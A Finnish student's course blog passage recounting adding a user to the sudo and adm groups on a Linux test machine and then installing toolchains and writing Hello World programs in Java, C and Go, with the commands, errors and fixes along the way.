Enter the new value, or press ENTER for the default
Full Name []: Jussi Laitavalo
Room Number []:
Work Phone []:
Home Phone []:
Other []:
Is the information correct? [Y/n] y
noora@koekone:/etc/apache2/sites-available$ sudo adduser jussi sudo
Adding user jussi' to groupsudo' …
Adding user jussi to group sudo
Done.

Ilmeisesti on olemassa myös adm-ryhmä, jonka jäsenet pystyvät esimerkiksi lukemaan tiettyjä lokitiedostoja, joten lisään Jussin myös tähän ryhmään:

noora@koekone:/etc/apache2/sites-available$ sudo adduser jussi adm
Adding user jussi' to groupadm' …
Adding user jussi to group adm
Done.

Ja näin loppuun lisään vielä yhden kuvakaappauksen, jossa näkyvät kaikki tehdyt tehtävät, joskin kuvan pienestä koosta johtuen aika epäselvästi:

Siinä oli se harjoitus! Tarkastelen vielä itsekseni muita harjoituksia tämän jälkeen ja mikäli huomenna jää aikaa niin saatan tehdä vielä jonkin pienen materiaalien kokoelmapäivityksen, jota voin hyödyntää kokeessa.

Kuudennet tehtävät – Hei maailma -ohjelma kolmella eri kielellä

Tämän viikon tunnilla tutustuimme bash-skriptien tekoon ja koodasimme muutaman pienen ohjelman Pythonilla. Kotitehtäväksi saimme Hei maailma -ohjelman kirjoittamisen kolmella eri kielellä ja siten myös tarvittavien ohjelmointiympäristöjen asennuksen. Opettajamme mainitsi, että hyvät kielet valittavaksi olisivat esimerkiksi Java, C ja Go, joita aionkin nyt yrittää. Taidan lähteä liikkelle Javasta, sillä se on edellisistä kielistä ainoa, josta minulla on kokemusta.

Hello World Javalla

Normaalisti olen koodannut Javaa Eclipsellä, joten minun ei ole tarvinnut aikaisemmin asentaa Java-ympäristöä komentoriviltä käsin. Ongelmaksi ensin muodostuikin oikean paketin valitseminen. Vaikka olen törmännyt JRE- ja JDK-lyhenteisiin aikaisemminkin, en enää muistanut, mitä eroa niillä oli. Tästä Stackoverflow-keskustelusta päättelin, että minun tulisi asentaa juuri JDK, sillä tarkoituksenani on luoda itse Java-ohjelma. JDK-pakettejakin kuitenkin vaikutti olevan montaa eri sorttia, joten päädyin googlettamaan myös asennusohjeet. Tämän jälkeen annoin ensimmäiseksi komennon

$ sudo apt-get update
$ sudo apt-get install default-jdk

ja asennuksen päätyttyä varmisin asennuksen onnistuneen komennolla

$  java --version

, joka tulosti terminaaliin seuraavat tiedot:

openjdk 10.0.2 2018-07-17
OpenJDK Runtime Environment (build 10.0.2+13-Ubuntu-1ubuntu0.18.04.4)
OpenJDK 64-Bit Server VM (build 10.0.2+13-Ubuntu-1ubuntu0.18.04.4, mixed mode)

Kaikki vaikutti olevan kunnossa ja seuraavaksi oli vuorossa itse ohjelman kirjoittaminen. Kuten aikaisemmin totesin, olen tähän mennessä koodannut Javaa Eclipsellä, joka huolehtii yleensä luokkien ja main metodien luomisesta, joten rehellisesti sanottuna en muista ulkoa, kuinka ne nyt menivätkään. Muistan vielä public static void main-rimpsun mutta args-kohtaan mennessä hyydyn pahasti. Pienen lunttaamisen jälkeen sain kuitenkin ohjelman kirjoitettua:

Seuraavaksi vuorossa oli ohjelman testaaminen. En ollut varma siitä, miten tämä tapahtuu, mutta Python-ohjelmien pyörittämisestä tuttua logiikkaa soveltaen kokeilin ensimmäiseksi komentoa

$ java HelloWorld.java

Tämä kuitenkin tuotti seuraavanlaisen virheilmoituksen:

Error: Could not find or load main class HelloWorld.java
Caused by: java.lang.ClassNotFoundException: HelloWorld.java

En ollut täysin varma mistä tämä johtui, joten palasin taas Stackoverflown hellään syleilyyn. Sainkin selville, että Java-ohjelmat pitää ennen ajamista kääntää, ja tämä hoituu minun tapauksessani komennolla

$ javac HelloWorld.java

Tämän jälkeen yritin uudestaan käyttää aikaisemmin syöttämääni komentoa, mutta tämä tuotti taas saman virheilmoituksen. Ilmeisesti komentoon ei siis voi laittaa tiedostopäätettä, vaan oikea komento on yksinkertaisuudessaan

$ java HelloWorld

Tämän jälkeen konsoliin tulostuu vihdoinkin Hello World!

Hello World C:llä

En ole koodannut C:llä aikaisemmin, joten lähdin suosiolla liikkeelle asennusohjeiden etsimisellä. Yllätyksekseni annettuani komennon

$ gcc --version

sainkin tietää, että Xubuntullani onkin jo näemmä C-ohjelmien tarvitsema kääntäjä. Saatoinkin siis siirtyä suoraan koodaamiseen, tai tässä tapauksessa lähinnä copy-pasteamiseen.

En oikein tiennyt, mitä ensimmäisen rivin stdio.h tarkoittaa, joten yritin ottaa asiasta selvää. Ilmeisesti stdio.h tuo mukanaan useampia valmiita funktioita, esimerkiksi tässä koodissa esiintyvätn printf-funktion. Javasta poiketen C:n main-metodi palauttaa int-arvon 0, jonka epäilen tarkoittavan sitä, että ohjelma suoritettiin onnistuneesti. Muistelen nähneeni error-viestejä, joissa on sanottu, että ohjelma sai palautusarvokseen 1.

Myös C-ohjelmat täytyy kääntää ennen ajamista, mikä tapahtuu komennolla

$ gcc -o hello helloworld.c

, jossa -o gcc:n manuaalin mukaan tarkoittaa, että komennon output laitetaan tiettyyn tiedostoon, jonka nimi tässä tapauksessa on hello. Tämän jälkeen ohjelman voi ajaa kuvan osoittamalla tavalla:

Kiinnostavaa on, että Hello, World! -teksti tulostuu terminaali-promptin kanssa samalle riville.

Hello World Go:lla

Tunnistan useita ohjelmointikieliä nimeltä, mutta tämä taitaa olla ensimmäinen kerta kun ylipäätäänsä kuulen Go:sta. Voi toki olla, että olen unohtanutkin, tai ehkä olen sivuuttanut maininnat siitä, sillä en ole tunnistanut kielen nimeä. Ensi töikseni päätinkin siis selvittää, millainen kieli Go yleisesti ottaen on. Tämän Wikipedia-artikkelin mukaan Go vaikuttaa ainakin olevan Javaan ja C:hen verrattuna huomattavasti uudempi kieli, mutta ei kuitenkaan niin uusi, että epäilisin sen selittävän, miksi en ole kuullut siitä aikaisemmin.

Yleisen perehtymisen jälkeen siirryin etsimään tietoa asennuksesta. Suurin osa aluksi löytämistäni Go:n asennusohjeista vaikutti epäilyttävän monimutkaisilta, mutta tältä sivulta löysin ohjeet Go:n asentamiseen Ubuntun repositorioiden avulla. Aloitinkin siis antamalla asennuskomennon

$ sudo apt-get install golang

ja varmistamalla asennuksen onnistumisen komennolla

$ go version

, joka tulosti seuraavan rivin:

go version go1.10.4 linux/amd64

Asennus vaikutti siis onnistuneen. Seuraavaksi vuorossa oli Go:n polun määritteleminen. Annoin komennot tismalleen samanlaisina kuin ohjeissa:

$ echo 'export GOPATH=$HOME/go' >> ~/.bashrc  
$ echo 'export PATH=${PATH}:${GOPATH}/bin' >> ~/.bashrc
$ source ~/.bashrc

Ohjeissa neuvottiin myös testaamaan go:n toimintaa valmiilla GitHubista löytyvällä Hello World -tiedostolla seuraavien komentojen avulla:

$ go get github.com/golang/example/hello
$ hello

Sainkin tulosteeksi

Hello, Go examples!

, kuten oli tarkoituskin. Täytyy sanoa, että go get url -muotoinen komento on kyllä aika hauska.

Go:n toiminnan varmistettuani siirryinkin siis tekemään omaa paikallista HelloWorld-ohjelmaa. En tiedä Go:n syntaksista mitään, joten päädyin jälleen kerran googlettamaan esimerkin.

Go:n versio C:n stdio.h:sta vaikuttaa olevan fmt. Main-metodin paluuarvoa ei ole nähdäkseni määritelty ollenkaan, mikä ainakin poikkeaa sekä Javasta että C:stä.

Javasta ja C:stä poiketen Go-ohjelmaa ei ilmeisesti ole pakko kääntää, vaan ohjelma voidaan suoraan ajaa komennolla

$ go run helloworld.go

Jos tiedostosta kuitenkin haluttaisiin ensin rakentaa suoritettava ohjelma, joka ajettaisiin, tämä tapahtuisi seuraavilla komennoilla:

$ go build hello-world.go
$./hello-world

Siinä olivatkin tämän viikon tehtävät! Vapaaehtoisina tehtävinä olisi ollut ns. oikeiden ohjelmien tekemistä kolmella eri kielellä, mutta en taida ryhtyä siihen nyt. Ilmoittautuin hiljattain CampusOnlinen kautta useille nonstop-kursseille, joita voi suorittaa omaan tahtiin vuoden 2019 aikana. Tavoitteenani olisikin kesän aikana perehtyä useisiin itselleni joko kokonaan uusiin tai melko vieraisiin ohjelmointikieliin (C, C#, C++, Ruby, PHP, Python) ainakin alkeiden tasolla. Jätänkin syvällisemmän uusiin kieliin perehtymisen siis suosiolla hieman myöhemmäksi ja siirryn nauttimaan tällä jaksolla arvoon arvaamattomaan nousseesta vapaa-ajastani.

// Edit1: Argh, olin laittanut itselleni ylös opettajamme kirjoittaman artikkelin, joka olisi helpottanut tämän harjoituksen tekemistä valtavasti, mutta unohdin käyttää sitä!